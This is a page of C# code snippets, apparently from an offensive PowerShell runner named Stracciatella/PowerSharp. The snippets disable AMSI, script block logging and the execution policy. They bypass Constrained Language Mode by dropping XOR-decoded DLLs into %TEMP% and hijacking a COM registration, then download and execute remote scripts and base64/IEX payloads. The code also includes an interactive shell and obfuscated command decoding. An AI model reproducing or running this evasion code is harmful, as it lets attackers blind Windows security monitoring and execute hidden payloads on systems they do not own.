Esempio n. 1
0
        public static bool DoDisable(PowerShell rs, CustomPSHost host, bool verb)
        {
            DisableClm.Verbose = verb;
            NaiveTry(rs);

            return(ProperDisable(rs, host));
        }
Esempio n. 2
0
        public static bool Cleanup(PowerShell rs, CustomPSHost host, bool verb)
        {
            if (rs != null && host != null)
            {
                if (verb)
                {
                    Console.WriteLine("\n[.] Cleaning up CLM disable artefacts...");
                }
                CreateCOM(rs, host, true);
            }

            try
            {
                File.Delete(Environment.ExpandEnvironmentVariables(OUTPUT_CLMDISABLEASSEMBLY_PATH));
                File.Delete(Environment.ExpandEnvironmentVariables(OUTPUT_CLMDISABLEDLL_PATH));
            }
            catch (Exception e)
            {
                if (rs != null && host != null)
                {
                    if (verb)
                    {
                        Console.WriteLine("[!] Could not remove CLM evasion DLL files as they were in-use. You'll need to remove them by hand:\n");
                        Console.WriteLine("\tPS> Remove-Item " + Environment.ExpandEnvironmentVariables(OUTPUT_CLMDISABLEASSEMBLY_PATH));
                        Console.WriteLine("\tPS> Remove-Item " + Environment.ExpandEnvironmentVariables(OUTPUT_CLMDISABLEDLL_PATH));
                    }
                }
            }

            return(true);
        }
Esempio n. 3
0
        public static string ExecuteCommand(string command, PowerShell rs, CustomPSHost host, bool dontDecode = false, bool silent = false, bool addOutDefault = true)
        {
            string output = "";

            if (command != null && command.Length > 0)
            {
                using (Pipeline pipe = rs.Runspace.CreatePipeline())
                {
                    if (!dontDecode)
                    {
                        try
                        {
                            if (ProgramOptions.XorKey != 0)
                            {
                                command = Decoder.XorDecode(Decoder.Base64DecodeBinary(command), ProgramOptions.XorKey);
                            }
                        }
                        catch (Exception e)
                        {
                            if (!silent)
                            {
                                Info($"[-] Could not decode command: {e.Message.ToString()}");
                            }
                        }
                    }

                    if (!silent)
                    {
                        Info($"PS> {command}");
                    }

                    pipe.Commands.AddScript(command);
                    pipe.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);
                    if (addOutDefault)
                    {
                        pipe.Commands.Add("Out-default");
                    }

                    try
                    {
                        pipe.Invoke();

                        output = ((CustomPSHostUserInterface)host.UI).Output;
                        ((CustomPSHostUserInterface)host.UI)._sb = new StringBuilder();
                        command = "";
                    }
                    catch (Exception e)
                    {
                        if (!silent)
                        {
                            Console.WriteLine(e.ToString());
                        }
                    }
                }
            }
            return(output);
        }
Esempio n. 4
0
        private static string Execute(string scriptPath, string command)
        {
            string       output = "";
            CustomPSHost host   = new CustomPSHost();
            var          state  = InitialSessionState.CreateDefault();

            state.ApartmentState       = System.Threading.ApartmentState.STA;
            state.AuthorizationManager = null;                  // Bypasses PowerShell execution policy
            state.ThreadOptions        = PSThreadOptions.UseCurrentThread;

            using (Runspace runspace = RunspaceFactory.CreateRunspace(host, state))
            {
                runspace.ApartmentState = System.Threading.ApartmentState.STA;
                runspace.ThreadOptions  = PSThreadOptions.UseCurrentThread;

                runspace.Open();

                using (var ps = PowerShell.Create())
                {
                    ps.Runspace = runspace;
                    if (!DisableDefenses(ps, host))
                    {
                        Info("[-] Could not disable all of the Powershell defenses.");
                        if (!ProgramOptions.Force)
                        {
                            Info("[-] Bailing out...");
                        }
                    }

                    string scriptContents = "";
                    if (scriptPath.Length > 0)
                    {
                        scriptContents = GetFileContents(scriptPath);

                        Info($"PS> . '{scriptPath}'");
                        output += ExecuteCommand(scriptContents, ps, host, false, false, false);

                        scriptContents            = "";
                        scriptPath                = "";
                        ProgramOptions.ScriptPath = "";
                    }

                    output += ExecuteCommand(command, ps, host, !ProgramOptions.CmdEncoded);
                    command = "";

                    if (!ProgramOptions.Nocleanup && CleanupNeeded)
                    {
                        DisableClm.Cleanup(ps, host, ProgramOptions.Verbose);
                    }
                    System.GC.Collect();
                }

                runspace.Close();
            }

            return(output.Trim());
        }
Esempio n. 5
0
        private static void Parashell()
        {
            CustomPSHost host  = new CustomPSHost();
            var          state = InitialSessionState.CreateDefault();

            state.AuthorizationManager = null;                  // Bypasses PowerShell execution policy

            using (Runspace runspace = RunspaceFactory.CreateRunspace(host, state))
            {
                runspace.Open();

                using (var ps = PowerShell.Create())
                {
                    ps.Runspace = runspace;
                    if (!DisableDefenses(ps, host))
                    {
                        Info("[-] Could not disable all of the Powershell defenses.");
                        if (!ProgramOptions.Force)
                        {
                            Info("[-] Bailing out...");
                            return;
                        }
                    }

                    string input;
                    while (true)
                    {
                        string pwd    = ExecuteCommand("(Resolve-Path .\\).Path", ps, host, true, true).Trim();
                        string prompt = $"{GLOBAL_PROMPT_PREFIX} {pwd}> ";
                        input = Input(prompt);

                        string output = ExecuteCommand(input, ps, host, true);
                        Console.WriteLine(output);

                        if (input == null || input.Length == 0 ||
                            String.Equals(input, "exit", StringComparison.CurrentCultureIgnoreCase) ||
                            String.Equals(input, "quit", StringComparison.CurrentCultureIgnoreCase))
                        {
                            break;
                        }

                        input = "";
                    }

                    if (!ProgramOptions.Nocleanup && CleanupNeeded)
                    {
                        DisableClm.Cleanup(ps, host, ProgramOptions.Verbose);
                    }
                }

                runspace.Close();
            }
        }
Esempio n. 6
0
        private static string Execute(string scriptPath, string command)
        {
            string       output = "";
            CustomPSHost host   = new CustomPSHost();
            var          state  = InitialSessionState.CreateDefault();

            state.AuthorizationManager = null;                  // Bypasses PowerShell execution policy

            using (Runspace runspace = RunspaceFactory.CreateRunspace(host, state))
            {
                runspace.Open();

                using (var ps = PowerShell.Create())
                {
                    ps.Runspace = runspace;
                    if (!DisableDefenses(ps, host))
                    {
                        Info("[-] Could not disable all of the Powershell defenses.");
                        if (!ProgramOptions.Force)
                        {
                            Info("[-] Bailing out...");
                        }
                    }

                    string scriptContents = "IEX([Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('BASE64HERE')))";
                    if (scriptContents.Length > 0)
                    {
                        //scriptContents = GetFileContents(scriptPath);

                        //Info($"PS> & '{scriptContents}'");
                        output += ExecuteCommand(scriptContents, ps, host);

                        scriptContents            = "";
                        scriptPath                = "";
                        ProgramOptions.ScriptPath = "";
                    }

                    Info($"PowerSharp:: {command}");
                    Info($"------------------------------------------------------------------------");
                    output += ExecuteCommand(command, ps, host);
                    command = "";

                    System.GC.Collect();
                }

                runspace.Close();
            }

            return(output.Trim());
        }
Esempio n. 7
0
        public static bool ProperDisable(PowerShell rs, CustomPSHost host)
        {
            if (DisableClm.Verbose)
            {
                Console.WriteLine("[.] Step 0. Plant DLL files in: %TEMP%");
            }

            using (BinaryWriter file = new BinaryWriter(File.Open(
                                                            Environment.ExpandEnvironmentVariables(OUTPUT_CLMDISABLEASSEMBLY_PATH),
                                                            FileMode.Create)))
            {
                byte[] data = Decoder.XorDecodeBinary(ClmEmbeddedFiles.ClmDisableAssemblyData, ClmEmbeddedFiles.FilesXorKey);
                file.Write(data);
            }

            using (BinaryWriter file = new BinaryWriter(File.Open(
                                                            Environment.ExpandEnvironmentVariables(OUTPUT_CLMDISABLEDLL_PATH),
                                                            FileMode.Create)))
            {
                byte[] data = Decoder.XorDecodeBinary(ClmEmbeddedFiles.ClmDisableDllData, ClmEmbeddedFiles.FilesXorKey);
                file.Write(data);
            }

            if (DisableClm.Verbose)
            {
                Console.WriteLine("[.] Step 1. Creating custom COM object.");
            }
            if (!CreateCOM(rs, host))
            {
                if (DisableClm.Verbose)
                {
                    Console.WriteLine("[-] Could not register custom COM object. CLM bypass failed.");
                }
                return(false);
            }

            if (DisableClm.Verbose)
            {
                Console.WriteLine("[.] Step 2. Invoking it...");
            }
            if (DisableClm.Verbose)
            {
                Stracciatella.ExecuteCommand($"New-Object -ComObject {COM_NAME}", rs, host, true, true, false);
            }

            System.Threading.Thread.Sleep(1000);

            return(true);
        }
Esempio n. 8
0
        private static bool CreateCOM(PowerShell rs, CustomPSHost host, bool deregister = false)
        {
            string dllPath = @"$($Env:Temp)\ClmDisableDll.dll";

            // Well I'm to lazy to reimplement it in C#
            string registerCOM   = @"
                $sid = (whoami /user | select-string -Pattern ""(S-1-5[0-9-]+)"" -all | select -ExpandProperty Matches).value;

                New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS;
                $key = 'HKU:\{0}_classes' -f $sid;

                $key = 'HKU:\{0}_classes\CLSID\' -f $sid;
                New-Item -Force -Path $key -Name """ + COM_GUID + @""";
                $key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, """ + COM_GUID + @""";
                New-Item -Force -Path $key -Name 'InProcServer32';
                New-ItemProperty -Force -Path $key -Name '(Default)' -Value """ + COM_DESCRIPTION + @""" -PropertyType String;
                $key = 'HKU:\{0}_classes\CLSID\{1}\InProcServer32' -f $sid, """ + COM_GUID + @""";
                New-ItemProperty -Force -Path $key -Name '(Default)' -Value """ + dllPath + @""" -PropertyType String;
                New-ItemProperty -Force -Path $key -Name 'ThreadingModel' -Value ""Apartment"" -PropertyType String;

                $key = 'HKU:\{0}_classes' -f $sid;
                New-Item -Force -Path $key -Name """ + COM_NAME + @""";
                $key = 'HKU:\{0}_classes\{1}' -f $sid, """ + COM_NAME + @""";
                New-ItemProperty -Force -Path $key -Name '(Default)' -Value """ + COM_DESCRIPTION + @""" -PropertyType String;
                New-Item -Force -Path $key -Name 'CLSID';
                $key = 'HKU:\{0}_classes\{1}\CLSID' -f $sid, """ + COM_NAME + @""";
                New-ItemProperty -Force -Path $key -Name '(Default)' -Value """ + COM_GUID + @""" -PropertyType String;
";
            string deregisterCOM = @"
                $sid = (whoami /user | select-string -Pattern ""(S-1-5[0-9-]+)"" -all | select -ExpandProperty Matches).value;

                New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS | out-null
                $key = 'HKU:\{0}_classes\{1}' -f $sid, """ + COM_NAME + @""";
                Remove-Item -Force -Path $key -Recurse | out-null

                $key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, """ + COM_GUID + @""";
                Remove-Item -Force -Path $key -Recurse | out-null
";

            if (deregister)
            {
                return(Stracciatella.ExecuteCommand(deregisterCOM, rs, host, true, true).Length > 0);
            }
            else
            {
                return(Stracciatella.ExecuteCommand(registerCOM, rs, host, true, true).Length > 0);
            }
        }
Esempio n. 9
0
        public static bool Cleanup(PowerShell rs, CustomPSHost host, bool verb)
        {
            if (rs != null && host != null)
            {
                if (verb)
                {
                    Console.WriteLine("\n[.] Cleaning up CLM disable artefacts...");
                }
                CreateCOM(rs, host, true);
            }

#if NETFX_471
            else
            {
                bool ret = true;
                try
                {
                    var modules = CollectModules(Process.GetCurrentProcess());
                    ret &= UnloadAndDeleteModule(modules, "ClmDisableAssembly.dll", OUTPUT_CLMDISABLEASSEMBLY_PATH, verb);
                    ret &= UnloadAndDeleteModule(modules, "ClmDisableDll.dll", OUTPUT_CLMDISABLEDLL_PATH, verb);

                    if (!ret)
                    {
                        throw new Exception("");
                    }
                }
                catch (Exception e)
                {
                    if (verb)
                    {
                        Console.WriteLine("[!] Could not remove CLM evasion DLL files as they were in-use. You'll need to remove them by hand:\n");
                        Console.WriteLine("\tPS> Remove-Item " + Environment.ExpandEnvironmentVariables(OUTPUT_CLMDISABLEASSEMBLY_PATH));
                        Console.WriteLine("\tPS> Remove-Item " + Environment.ExpandEnvironmentVariables(OUTPUT_CLMDISABLEDLL_PATH));
                    }

                    return(false);
                }
            }
#endif

            return(true);
        }
Esempio n. 10
0
        private static bool DisableDefenses(PowerShell rs, CustomPSHost host)
        {
            bool ret = true;

            ret &= DisableClm.DoDisable(rs);

            string l = ExecuteCommand("$ExecutionContext.SessionState.LanguageMode", rs, host, true);

            Info($"[.] Language Mode: {l}");

            if (ret && String.Equals(l, "FullLanguage", StringComparison.CurrentCultureIgnoreCase))
            {
                Info("[+] Constrained Language Mode Disabled.");
            }
            else
            {
                Info("[-] Constrained Language Mode not disabled.");
            }

            if ((ret &= DisableScriptLogging(rs)))
            {
                Info("[+] Script Block Logging Disabled.");
            }
            else
            {
                Info("[-] Script Block Logging not disabled.");
            }

            if ((ret &= DisableAmsi(rs)))
            {
                Info("[+] AMSI Disabled.");
            }
            else
            {
                Info("[-] AMSI not disabled.");
            }

            return(ret);
        }
Esempio n. 11
0
        private static string Execute(string scriptPath, string command)
        {
            string       output = "";
            CustomPSHost host   = new CustomPSHost();
            var          state  = InitialSessionState.CreateDefault();

            state.ApartmentState       = System.Threading.ApartmentState.STA;
            state.AuthorizationManager = null;                  // Bypasses PowerShell execution policy
            state.ThreadOptions        = PSThreadOptions.UseCurrentThread;

            using (Runspace runspace = RunspaceFactory.CreateRunspace(host, state))
            {
                runspace.ApartmentState = System.Threading.ApartmentState.STA;
                runspace.ThreadOptions  = PSThreadOptions.UseCurrentThread;

                runspace.Open();

                using (var ps = PowerShell.Create())
                {
                    ps.Runspace = runspace;
                    if (!DisableDefenses(ps, host))
                    {
                        Info("[-] Could not disable all of the Powershell defenses.");
                        if (!ProgramOptions.Force)
                        {
                            Info("[-] Bailing out...");
                        }
                    }

                    if (scriptPath.Length > 0)
                    {
                        bool   success        = true;
                        string scriptContents = "";
                        bool   silent         = false;

                        try
                        {
                            if (scriptPath.StartsWith("http://") || scriptPath.StartsWith("https://"))
                            {
                                using (var wc = new System.Net.WebClient())
                                {
                                    scriptContents = wc.DownloadString(scriptPath);
                                }

                                silent = true;
                                Info($"Executing downloaded script file: {scriptPath}");
                            }
                            else
                            {
                                if (!File.Exists(scriptPath))
                                {
                                    throw new Exception($"Script file does not exist.Will not load it: '{scriptPath}'");
                                }

                                scriptContents = GetFileContents(scriptPath);
                                Info($"PS> . '{scriptPath}'");
                            }
                        }
                        catch (Exception e)
                        {
                            Info($"Could not fetch script file/URL contents. Exception: {e}");
                            success = false;
                        }

                        if (success && scriptContents.Length > 0)
                        {
                            output += ExecuteCommand(scriptContents, ps, host, false, silent, false);
                        }

                        scriptContents            = "";
                        scriptPath                = "";
                        ProgramOptions.ScriptPath = "";
                    }

                    output += ExecuteCommand(command, ps, host, !ProgramOptions.CmdEncoded);
                    command = "";

                    if (!ProgramOptions.Nocleanup && CleanupNeeded)
                    {
                        DisableClm.Cleanup(ps, host, ProgramOptions.Verbose);
                    }
                    System.GC.Collect();
                }

                runspace.Close();
            }

            return(output.Trim());
        }
Esempio n. 12
0
        private static bool DisableDefenses(PowerShell rs, CustomPSHost host)
        {
            bool ret = true;

            string l         = ExecuteCommand("'{0}.{1}' -f $PSVersionTable.PSVersion.Major, $PSVersionTable.PSVersion.Minor", rs, host, true, true).Trim();
            float  psversion = 5;

            try
            {
                System.Globalization.CultureInfo customCulture = (System.Globalization.CultureInfo)System.Threading.Thread.CurrentThread.CurrentCulture.Clone();
                customCulture.NumberFormat.NumberDecimalSeparator = ".";

                System.Threading.Thread.CurrentThread.CurrentCulture = customCulture;
                psversion = float.Parse(l, System.Globalization.CultureInfo.InvariantCulture);
            }
            catch (FormatException e)
            {
                Info($"[-] Could not obtain Powershell's version. Assuming 5.0 (exception: {e}");
            }

            if (psversion < 5.0 && !ProgramOptions.Force)
            {
                Info("[+] Powershell version is below 5, so AMSI, CLM, SBL are not available anyway :-)");
                Info("Skipping bypass procedures...");
                return(ret);
            }
            else
            {
                Info($"[.] Powershell's version: {psversion}");
            }

            l = ExecuteCommand("$ExecutionContext.SessionState.LanguageMode", rs, host, true, true).Trim();
            Info($"[.] Language Mode: {l}");

            if (!String.Equals(l, "FullLanguage", StringComparison.CurrentCultureIgnoreCase))
            {
                DisableClm.DoDisable(rs, host, ProgramOptions.Verbose);
                CleanupNeeded = true;

                l = ExecuteCommand("$ExecutionContext.SessionState.LanguageMode", rs, host, true, true).Trim();
                Info($"[.] Language Mode after attempting to disable CLM: {l}");

                if (String.Equals(l, "FullLanguage", StringComparison.CurrentCultureIgnoreCase))
                {
                    Info("[+] Constrained Language Mode Disabled.");
                    ret &= true;
                }
                else
                {
                    Info("[-] Constrained Language Mode not disabled.");
                    ret &= false;
                }
            }
            else
            {
                Info("[+] No need to disable Constrained Language Mode. Already in FullLanguage.");
            }

            if ((ret &= DisableScriptLogging(rs)))
            {
                Info("[+] Script Block Logging Disabled.");
            }
            else
            {
                Info("[-] Script Block Logging not disabled.");
            }

            if ((ret &= DisableAmsi(rs)))
            {
                Info("[+] AMSI Disabled.");
            }
            else
            {
                Info("[-] AMSI not disabled.");
            }

            Info("");

            return(ret);
        }
Esempio n. 13
0
        private static string ExecuteCommand(string command, PowerShell rs, CustomPSHost host, bool dontDecode = false, bool silent = false, bool addOutDefault = true)
        {
            string output = "";

            if (command != null && command.Length > 0)
            {
                using (Pipeline pipe = rs.Runspace.CreatePipeline())
                {
                    if (!dontDecode)
                    {
                        try
                        {
                            if (ProgramOptions.Base64)
                            {
                                command = Decoder.Base64Decode(command);
                            }

                            if (ProgramOptions.XorKey != 0)
                            {
                                command = Decoder.XorDecode(command, ProgramOptions.XorKey);
                            }
                        }
                        catch (Exception e)
                        {
                            if (!silent)
                            {
                                Info($"[-] Could not decode command: {e.Message.ToString()}");
                            }
                        }
                    }
                    else
                    {
                        if (!silent)
                        {
                            Info($"[?] Decided not to decode input command starting with: '{command.Substring(0, 30)}'");
                            Info($"[?] If you need that to be decoded as well, use --cmdencoded option.");
                        }
                    }

                    pipe.Commands.AddScript(command);
                    pipe.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);
                    if (addOutDefault)
                    {
                        pipe.Commands.Add("Out-default");
                    }

                    try
                    {
                        pipe.Invoke();

                        command = "";

                        output = ((CustomPSHostUserInterface)host.UI).Output;
                        ((CustomPSHostUserInterface)host.UI)._sb = new StringBuilder();
                    }
                    catch (Exception e)
                    {
                        Console.WriteLine(e.ToString());
                    }
                }
            }
            return(output);
        }